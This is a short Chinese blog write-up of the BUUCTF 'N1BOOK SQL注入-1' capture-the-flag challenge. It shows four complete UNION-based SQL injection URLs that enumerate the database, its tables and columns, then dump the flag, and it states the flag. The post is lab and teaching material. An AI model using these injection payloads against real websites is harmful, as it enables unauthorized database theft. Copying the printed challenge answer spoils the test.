N1BOOK SQL注入-1 ---BUUCTF


题目已经提示说sql注入,那么我们自己试试手动


看到有一个提示,我们加入url试试

1.呃....太菜了,直接试sqlmap,先爆破数据库名

2.根据数据库名爆破表名

3.根据数据库名和表明爆破其字段名

4.根据字段名查看内容

接着还是使用手动注入:
1.首先还是要找数据库名
(union 是对两个sql语句结果进行拼接,--+是注释之后的语句)
http://c4018dec-69f2-4661-96e0-8528b05e2705.node3.buuoj.cn/index.php?id=-1' union select 1,database(),3 --+&tips=1

2.查找表名
http://c4018dec-69f2-4661-96e0-8528b05e2705.node3.buuoj.cn/index.php?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+&tips=1

3.查找字段名
http://c4018dec-69f2-4661-96e0-8528b05e2705.node3.buuoj.cn/index.php?id=-1' union select 1,group_concat(column_name),5 from information_schema.columns where table_schema=database() and table_name='fl4g' --+&tips=1

4.查找字段名内容
http://c4018dec-69f2-4661-96e0-8528b05e2705.node3.buuoj.cn/index.php?id=-1' union select 1,group_concat(fllllag),3 from fl4g --+&tips=1

得到flag:n1book{union_select_is_so_cool}

posted @ 2021-06-09 21:30  网抑云黑胶SVIP用户  阅读(290)  评论(0编辑  收藏  举报